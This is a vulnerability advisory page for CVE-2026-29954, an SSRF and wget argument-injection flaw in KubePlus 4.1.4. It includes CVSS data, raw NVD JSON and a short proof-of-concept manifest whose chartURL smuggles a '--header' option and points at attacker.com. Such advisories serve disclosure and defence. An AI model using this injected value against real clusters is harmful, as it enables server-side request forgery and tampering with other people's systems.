Security Vulnerability Report
中文
CVE-2026-29954 CVSS 7.6 HIGH

CVE-2026-29954

Published: 2026-03-30 17:16:16
Last Modified: 2026-04-06 15:51:33

Description

In KubePlus 4.1.4, the mutating webhook and kubeconfiggenerator components have an SSRF vulnerability when processing the chartURL field of ResourceComposition resources. The field is only URL-encoded without validating the target address. More critically, when kubeconfiggenerator uses wget to download charts, the chartURL is directly concatenated into the command, allowing attackers to inject wget's `--header` option to achieve arbitrary HTTP header injection.

CVSS Details

CVSS Score
7.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:cloudark:kubeplus:4.1.4:*:*:*:*:*:*:* - VULNERABLE
KubePlus 4.1.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-29954 # Exploit by crafting a malicious ResourceComposition apiVersion: composition.kubeplus.io/v1alpha1 kind: ResourceComposition metadata: name: malicious-chart spec: # The payload injects the --header option into the wget command # URL encoding might be needed for the payload depending on exact input handling chartURL: "http://attacker.com/chart.tar.gz --header \"X-Injected-Header: POC-Exploit\"" # When processed, kubeconfiggenerator executes: # wget http://attacker.com/chart.tar.gz --header "X-Injected-Header: POC-Exploit"

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-29954", "sourceIdentifier": "[email protected]", "published": "2026-03-30T17:16:15.867", "lastModified": "2026-04-06T15:51:33.017", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In KubePlus 4.1.4, the mutating webhook and kubeconfiggenerator components have an SSRF vulnerability when processing the chartURL field of ResourceComposition resources. The field is only URL-encoded without validating the target address. More critically, when kubeconfiggenerator uses wget to download charts, the chartURL is directly concatenated into the command, allowing attackers to inject wget's `--header` option to achieve arbitrary HTTP header injection."}, {"lang": "es", "value": "En KubePlus 4.1.4, los componentes mutating webhook y kubeconfiggenerator tienen una vulnerabilidad SSRF al procesar el campo chartURL de los recursos ResourceComposition. El campo solo está codificado en URL sin validar la dirección de destino. Más críticamente, cuando kubeconfiggenerator utiliza wget para descargar charts, la chartURL se concatena directamente en el comando, permitiendo a los atacantes inyectar la opción --header de wget para lograr la inyección arbitraria de encabezados HTTP."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 4.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-88"}, {"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cloudark:kubeplus:4.1.4:*:*:*:*:*:*:*", "matchCriteriaId": "C0807B33-5182-4003-A830-0D8F9633C3A1"}]}]}], "references": [{"url": "https://gist.github.com/b0b0haha/33baea60fd2a847f11f1fb02e43c64c0", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Third Party Advisory"]}, {"url": "https://github.com/b0b0haha/CVE-2026-29954/blob/main/README.md", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Third Party Advisory"]}]}}